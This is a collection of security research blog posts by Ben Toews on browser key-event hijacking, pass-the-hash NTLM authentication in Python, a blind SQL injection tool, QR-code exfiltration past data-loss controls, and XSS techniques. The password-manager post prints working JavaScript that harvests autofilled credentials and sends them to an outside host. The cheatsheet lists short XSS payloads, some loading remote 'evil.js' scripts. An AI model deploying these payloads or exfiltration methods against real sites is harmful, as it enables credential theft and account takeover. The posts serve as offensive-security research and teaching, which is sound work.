Browser Event Hijacking

By: Ben Toews

TL;DR: preventDefault can be bad

In playing with the preventDefault method on JavaScript events, it occured to me that one can easily hijack events that should get passed through to the browser. The example that I will be discussing here is the ctrl+f or ⌘+f combination. This ubiquitous key combination results in a search box of some type being displayed to the user. With browser and OS key bindings, there is a user expectation of continuity. We are conditioned as users to expect that pressing these key combinations will have a certain effect. The interruption of this continuity can have security implications.

In the example hosted here, a list of information that a user might be tempted to search through is presented. JavaScript on the page hijacks the ctrl+f and ⌘+f combinations, presenting a search box that is nearly identical to the browser search box users would see running Google Chrome on OSX. While normally, JavaScript wouldn’t have access to the contents of the search box, the fake search box is obviously accessible to the malicious site.

Fake Browser Search Bar

Fake Browser Search Bar

Real Browser Search Bar (Google Chrome on OSX)

Real Browser Search Bar (Google Chrome on OSX)

The ability of a malicious site to interrupt the expected continuity of user interaction with a web browser constitutes a breach of user trust on the part of the web browser. Because the user trusts that this key combination will trigger a browser event, they will trust the search bar presented by the site and interact with it as they would with the browser. Other key combinations could be similarly attacked. For example, ctrl+s/⌘+s or ctrl+o/⌘+o could be hijacked and could display a fake dialog claiming that the user’s password is required for file-system access. Specific attack scenarios aside, it is problematic to have ambiguity about the boundaries between browser and web app. More generally, a lower trust component should not have the ability to affect the behavior of a higher trust component.

This page in probably won’t be convincing for users of different operating systems or browsers, but with a bit more effort, the script could detect browser and OS and display an appropriate search box. It could also easily emulate other browser behavior like highlighting entered text or scrolling around the page.

What is the solution, though? There are a few solutions that come to mind:

  1. Place the browser search box in a part of the browser that could not be confused with website content.
  2. Warn the user when a site attempts to call preventDefault on an event that is registered as a browser key binding.

I raised this issue to the Chrome team and it was labeled as a low-priority issue. I’m not sure that I disagree with that analysis, but I do think that this is an issue that should be considered.

HTTP Pass the Hash with Python

By: Ben Toews

TL;DR: Pass the Hash HTTP NTLM Authentication with Python – python-ntlm - requests

When assessing a Windows domain environment, the ability to “pass the hash” is invaluable. The technique was pioneered by Paul Ashton way back in ’97, and things have only gotten better since. Fortunately, we no longer need to patch Samba, but have reasonably functional tools like Pass-The-Hash Toolkit and msvctl.

The general aproach of these tools is to not focus on writing PTH versions of every Windows functionality, but rather to allow you to run Windows commands as another user. This means that instead of needing to patch Samba, we can just use msvctl to spawn cmd.exe and from there run the net use command. This aproach has the obvious advantage of requiring far less code.

On a recent enagement, I was attempting to access SharePoint sites using stolen hashes. My first instinct was to launch iexplore.exe using msvctl and to try to browse to the target site. The first thing I learned is that in order to get Internet Explorer to do HTTP NTLM authentication without prompting for credentials, the site you are visiting needs to be in your “Trusted Sites Zone”. Four hours later, when you figure this out, IE will use HTTP NTLM authentication, with the hash specified by msvctl, to authenticate you to the web application. This was all great, except for I was still getting a 401 from the webapp. I authenticated, but the account I was using didn’t have permissions on the SharePoint site. No problem; I have stolen thousands of users’ hashes and one of them must work, right? But what am I going to do, use msvctl to launch a few thousand instances of IE and attempt to browse the the site with each? I think not…

I took the python-ntlm module, which allows for HTTP NTLM with urllib2, and added the ability to provide a hash instead of a password. This can be found here. Then, because urllib2 is one of my least favourite APIs, I decided to write a patch for the requests library to use the python-ntlm library. This fork can be found here. I submitted a pull request to the requests project and commited my change to python-ntlm. Hopefully both of these updates will be available from pip in the near future.

So, what does all this let you do? You can now do pass-the-hash authentication with Python’s request library:

One last thing to keep in mind is that there is a difference between HTTP NTLM authentication and Kerberos HTTP NTLM authentication. This is only for the former.

Installing BBQSQL

By: Ben Toews

TLDR: sudo pip install bbqsql

So, I have this long running fear of writing make files. This is probably the main reason why I went into security rather than development. I used to have similar feelings towards setup.py files. Then I realized that they were easy. Then I started gettings emails saying that people couldn’t install BBQSQL.

It turns out that I didn’t upload the source distribution when I was registering the project with PyPI. Either way, you can now install BBQSQL by typing sudo pip install bbqsql. I am still afraid of make files and am back to being a bit afraid of setup.py files. Let me know if there are any more problems.

Defcon Post-Mortem

by Ben Toews

Scott Behrens and I just got back from speaking about our new tool, BBQSQL, at Defcon. This was the first time speaking at Defcon for both of us and it proved to be one of the most intimidating and rewarding speaking engagements either of us have done.

To give a brief recap, BBQSQL is a Blind SQL Injection Exploitation tool. It is designed for speed and versatility – things that many of the currently available tools lack. To achieve versatility, we ask the user to input a lot of details about how she would like to perform the attack. To achieve speed, we use gevent for massive concurrency and attempt to use various algorithms to speed up the guessing of character values.

We also focused on writing clean code with detailed comments and thorough documentation, so you can hopefully learn everything you need to know from the github page. If you are feeling adventurous, go ahead and fork the project and we will gladly accept any pull requests. Similarly, if you run into problems or think of an awesome feature, submit an issue and we will try to be as responsive as possible.

If you want to check out our slides, you can find them here.

DLP Circumvention: A Demonstration of Futility

By Ben Toews

TLDR: Check out the tool

I can’t say that I’m an expert in Data Loss Prevention (DLP), but I imagine its hard. The basic premise is to prevent employees or others from getting data out of a controlled environment, for example, trying to prevent the DBA from stealing everyone’s credit card numbers or the researcher from walking out the door with millions in trade secrets. DLP is even tougher in light of new techniques for moving confidential data undetected through a network.  When I demonstrated how I could do it with QR Codes, I had to rethink DLP protections.

Some quick research informs me that the main techniques for implementing DLP are to monitor and restrict access to data both physically and from networking and endpoint perspectives. Physical controls might consist of putting locks on USB ports or putting an extra locked door between your sensitive environment and the rest of the world. Networking controls might consist of firewalls, IDS, content filtering proxies, or maybe just unplugging the sensitive network from the rest of the network and the internet.

Many security folks joke about the futility of this effort. It seems that a determined individual can always find a way around these mechanisms. To demonstrate, my co-worker, Scott Behrens, was working on a Python script to convert files to a series of QR Codes (2d bar codes) that could be played as a video file. This video could then be recorded and decoded by a cell-phone camera and and stored as files on another computer. However, it seemed to me that with the new JavaScript/HTML5 file APIs, all the work of creating the QR Code videos could be done in the browser, avoiding the need to download a Python script/interpreter.

I was talking with a former co-worker, about this idea and he went off and wrote a HTML5/JS encoder and a ffmpeg/bash/ruby decoder that seemed to work pretty well. Not wanting to be outdone, I kept going and wrote my own encoder and decoder.

My encoder is fairly simple. It uses the file API to read in multiple files from the computer, uses Stuart Knightley’s JSZip library to create a single ZIP file, and then Kazuhiko Arase’s JavaScript QRCode Generator to convert this file into a series of QRCodes. It does this all in the browser without requiring the user to download any programs or transmit any would-be-controlled data over the network.

The decoder was a little bit less straight-forward. I have been wanting to learn about OpenCV for a non-security related side project, so I decided to use it for this. It turns out that it is not very entirely easy to use and its documentation is somewhat lacking. Still, I persevered and wrote a Python tool to:

  1. Pull images from the video and analyze their color.
  2. Identify the spaces between frames of QRCodes (identified by a solid color image).
  3. Pull the QRCode frames between these marker frames.
  4. Feed them into a ZBar ImageScanner and get the data out.

The tool seems to work pretty well. Between my crummy cellphone camera and some mystery frames that ZBar refuses to decode, it isn’t the most reliable tool for data transfer, but is serves to make a point. Feel free to download both the encoder and decoder from my GitHub Repo or checkout the live demo and let me know what you think. I haven’t done any benchmarking for data bandwidth, but it seems reasonable to use the tool for files several megabytes in size.

To speak briefly about preventing the use of tools like this for getting data of your network: As with most things in security, finding a balance between usability and security is the key. The extreme on the end of usability would be to keep an entirely open network without any controls to prevent or detect data loss. The opposite extreme would be to unplug all your computers and shred their hard drives. Considerations in finding the medium as it relates to DLP include:

  • The value of your data to your organization.
  • The value of your data to your adversaries.
  • The means of your organization to implement security mechanisms.
  • The means of your adversaries to defeat security mechanisms.

Once your organization has decided what its security posture should be, it can attempt to mitigate risk accordingly. What risk remains must be accepted. For most organizations, the risk presented by a tool like the one described above is acceptable. That being said, techniques for mitigating its risk might include:

  • Disallowing video capture devices in sensitive areas (already common practice in some organizations).
  • Writing IDS signatures for the JavaScript used to generate the QRCodes (this is hard because JS is easily obfuscated and packed).
  • Limiting access within your organization to sensitive information.
  • Trying to prevent the QRCode-creating portion of the tool from reaching your computers.
    • Physical Protections (USB port locks, removing CD Drives, etc.)
    • Network Protections (segmentation,content filtering, etc.)

Good luck ;)

Apparently the word ‘QR Code’ is registered trademark of DENSO WAVE INCORPORATED

Abusing Password Managers with XSS

By Ben Toews

One common and effective mitigation against Cross-Site Scripting (XSS) is to set the HTTPOnly flag on session cookies. This will generally prevent an attacker from stealing users’ session cookies with XSS. There are ways of circumventing this (e.g. the HTTP TRACE method), but generally speaking, it is fairly effective. That being said, an attacker can still cause significant damage without being able to steal the session cookie.

A variety of client-side attacks are possible, but an attacker is also often able to circumvent Cross-Site Request Forgery (CSRF) protections via XSS and thereby submit various forms within the application. The worst case scenario with this type of attack would be that there is no confirmation for email address or password changes and the attacker can change users’ passwords. From an attacker’s perspective this is valuable, but not as valuable as being able to steal a user’s session. By reseting the password, the attacker is giving away his presence and the extent to which he is able to masquarade as another user is limited. While stealing the session cookie may be the most commonly cited method for hijacking user accounts, other means not involving changing user passwords exist.

All modern browsers come with some functionality to remember user passwords. Additionally, users will often install third-party applications to manage their passwords for them. All of these solutions save time for the user and generally help to prevent forgotten passwords. Third party password managers such as LastPass are also capable of generating strong, application specific passwords for users and then sending them off to the cloud for storage. Functionality such as this greatly improves the overall security of the username/password authentication model. By encouraging and facilitating the use of strong application specific passwords, users need not be as concerned with unreliable web applications that inadequately protect their data. For these and other reasons, password managers such as LastPass are generally considered within the security industry to be a good idea. I am a long time user of LastPass and have (almost) nothing but praise for their service.

An issue with both in-browser as well as third-party password managers that gets hardly any attention is how these can be abused by XSS. Because many of these password managers automatically fill login forms, an attacker can use JavaScript to read the contents of the form once it has been filled. The lack of attention this topic receives made me curious to see how exploitable it actually would be. For the purpose of testing, I built a simple PHP application with a functional login page aswell as a second page that is vulnerable to XSS (find them here). I then proceded to experiment with different JavaScript, attempting to steal user credentials with XSS from the following password managers:

  • LastPass (Current version as of April 2012)
  • Chrome (version 17)
  • Firefox (version 11)
  • Internet Explorer (version 9)

I first visited my login page and entered my password. If the password manager asked me if I wanted it to be remembered, I said yes. I then went to the XSS vulnerable page in my application and experimented with different JavaScript, attempting to access the credentials stored by the browser or password manager. I ended up writing some JavaScript that was effective against the password managers listed above with the exception of IE:

<script type="text/javascript">
    ex_username = '';
    ex_password = '';
    inter = '';
    function attack(){
        ex_username = document.getElementById('username').value;
        ex_password = document.getElementById('password').value;
        if(ex_username != '' | ex_password != ''){
            document.getElementById('xss').style.display = 'none'
            request=new XMLHttpRequest();
            url = "http://btoe.ws/pwxss?username="+ex_username+"&password="+ex_password;
            request.open("GET",url,true);
            request.send();
            document.getElementById('xss').style.visibility='hidden';
            window.clearInterval(inter);
        }
    }
    document.write("\
    <div id='xss'>\
    <form method='post' action='index.php'>\
    username:<input type='text' name='username' id='username' value='' autocomplete='on'>\
    password:<input type='password' name='password' id='password' value='' autocomplete='on'>\
    <input type='submit' name='login' value='Log In'>\
    </form>\
    </div>\
    ");
    inter = window.setInterval("attack()",100);
</script>

All that this code does it create a fake login form on the XSS vulnerable page and then wait for it to be filled in by the browser or password manager. When the fields are filled, the JavaScript takes the values and sends them off to another server via a simple Ajax request. At first I had attempted to harness the onchange event of the form fields, but it turns out that this is unreliable across browsers (also, LastPass seems to mangle the form and input field DOM elements for whatever reason). Using window.setInterval, while less elegant, is more effective.

If you want to try out the above code, go to http://boomer.neohapsis.com/pwxss and login (username:user1 password:secret). Then go to the reflections page and enter the slightly modified code listed there into the text box. If you told your password manager to remember the password for the site, you should see an alert  box with the credentials you previously entered. Please let me know if you find any vulns aside from XSS in this app.

To be honest, I was rather surprised that my simple trick worked in Chrome and Firefox. The LastPass plugin in the Chrome browser operates on the DOM level like any other Chrome plugin, meaning that it can’t bypass event listeners that are watching for form submissions. The browsers, on the other hand could put garbage into the form elements in the DOM and wait until after the onsubmit event has fired to put the real credentials into the form. This might break some web applications that take action based on the onchange event of the form inputs, but if that is a concern, I am sure that the browsers could somehow fill the form fields without triggering this event.

The reason why this code doesn’t work in IE (aside from the non-IE-friendly XHR request) is that the IE password manager doesn’t automatically fill in user credentials. IE also seems to be the only one of the bunch that ties a set of credentials to a specific page rather than to an entire domain. While these both may be inconveniences from a usability perspective, they (inadvertantly or otherwise) improve the security of the password manager.

While this is an attack vector that doesn’t get much attention, I think that it should. XSS is a common problem, and developers get an unrealistic sense of security from the HTTPOnly cookie flag. This flag is largely effective in preventing session hijacking, but user credentials may still be at risk. While I didn’t get a chance to check them out when researching this, I would not be surprised if Opera and Safari had the same types of behavior.

I would be interested to hear a discussion of possible mitigations for this vulnerability. If you are a browser or browser-plugin developer or just an ordinary hacker, leave a comment and let me know what you think.

Edit: Prompted by some of the comments, I wrote a little script to demo how you could replace the whole document.body with that of the login page and use push state to trick a user into thinking that they were on the login page. https://gist.github.com/2552844

XSS Shortening Cheatsheet

By Ben Toews

In the course of a recent assessment of a web application, I ran into an interesting problem. I found XSS on a page, but the field was limited (yes, on the server side) to 20 characters. Of course I could demonstrate the problem to the client by injecting a simple <b>hello</b> into their page, but it leaves much more of an impression of severity when you can at least make an alert box.

My go to line for testing XSS is always <script>alert(123123)</script>. It looks somewhat arbitrary, but I use it specifically because 123123 is easy to grep for and will rarely show up as a false positive (a quick Google search returns only 9 million pages containing the string 123123). It is also nice because it doesn’t require apostrophes.

This brings me to the problem. The above string is 30 characters long and I need to inject into a parameter that will only accept up to 20 characters. There are a few tricks for shortening your <script> tag, some more well known than others. Here are a few:

  • If you don’t specify a scheme section of the URL (http/https/whatever), the browser uses the current scheme. E.g. <script src='//btoe.ws/xss.js'></script>
  • If you don’t specify the host section of the URL, the browser uses the current host. This is only really valuable if  you can upload a malicious JavaScript file to the server you are trying to get XSS on. Eg. <script src='evil.js'></script>
  • If you are including a JavaScript file from another domain, there is no reason why its extension must be .js. Pro-tip: you could even have the malicious JavaScript file be set as the index on your server… Eg. <script src='http://btoe.ws'>
  • If you are using IE you don’t need to close the <script> tag (although I haven’t tested this in years and don’t have a Windows box handy). E.g. <script src='http://btoe.ws/evil.js'>
  • You don’t need quotes around your src attribute. Eg. <script src=http://btoe.ws/evil.js></script>

In the best case (your victim is running IE and you can upload arbitrary files to the web root), it seems that all you would need is <script src=/>. That’s pretty impressive, weighing in at only 14 characters. Then again, when will you actually get to use that in the wild or on an assessment? More likely is that you will have to host your malicious code on another domain. I own btoe.ws, which is short, but not quite as handy as some of the five letter domain names. If you have one of those, the best you could do is <script src=ab.cd>. This is 18 characters and works in IE, but let’s assume that you want to be cross-platform and go with the 27 character option of <script src=ab.cd></script>. Thats still pretty short, but we are back over my 20 character limit.

Time to give up? I think not.

Another option is to forgo the <script> tag entirely. After all, ‘script’ is such a long word… There are many one letter HTML tags that accept event handlers. onclick and onkeyup are even pretty short. Here are a couple more tricks:

  • You can make up your own tags! E.g. <x onclick="alert(1)">foo</x>
  • If you don’t close your tag, some events will be inherited by the rest of the page following your injected code. E.g. <x onclick='alert(1)'>.
  • You don’t need to wrap your code in quotes. Eg. <b onclick=alert(1)>foo</b>
  • If the page already has some useful JavaScript (think JQuery) loaded, you can call their functions instead of your own. Eg. If they have a function defined as function a(){alert(1)} you can simply do <b onclick='a()'>foo</b>
  • While onclick and onkeyup are short when used with <b> or a custom tag, they aren’t going to fire without user interaction. The onload event of the <body> tag on the other hand will. I think that having duplicate <body> tags might not work on all browsers, though.  E.g. <body onload='alert(1)'>

Putting these tricks together, our optimal solution (assuming they have a one letter function defined that does exactly what we want) gives us <b onclick=a()>. Similar to the unrealistically good <script> tag example from above, this comes in at 14 characters. A more realistic and useful line might be <b onclick=alert(1)>. This comes it at exactly 20 characters, which is within my limit.

This worked for me, but maybe 20 characters is too long for you. If you really have to be a minimalist, injecting the <b> tag into the page is the smallest thing I can think of that will affect the page without raising too many errors. Slightly more minimalistic than that would be to simply inject <. This would likely break the page, but it would at least be noticable and would prove your point.

This article is by no means intended to provide the answer, but rather to ask a question. I ask, or dare I say challenge, you to find a better solution than what I have shown above. It is also worth noting that I tested most of this on recent versions of Firefox and Chrome, but no other browsers. I am using a Linux box and don’t have access to much else at the moment. If you know that some of the above code does not work in other browsers, please comment bellow and I will make an edit, but please don’t tell me what does and does not work in lynx.

If you want to see some of these in action, copy the following into a file and open it in your your browser or go to http://mastahyeti.com/vps/shrtxss.html.

Edit: albinowax points out that onblur is shorter than onclick or onkeyup.


<html>
<head>
<title>xss example</title>
<script>
//my awesome js
function a(){alert(1)}
</script>
</head>
<body>

<!– XSS Injected here –>
<x onclick=alert(1)>
<b onkeyup=alert(1)>
<x onclick=a()>
<b onkeyup=a()>
<body onload=a()>
<!– End XSS Injection –>

<h1>XSS ROCKS</h1>
<p>click me</p>
<form>
<input value=’try typing in here’>
</form>
</body>
</html>

PS: I did some Googling before writing this. Thanks to those at sla.ckers.org and at gnarlysec.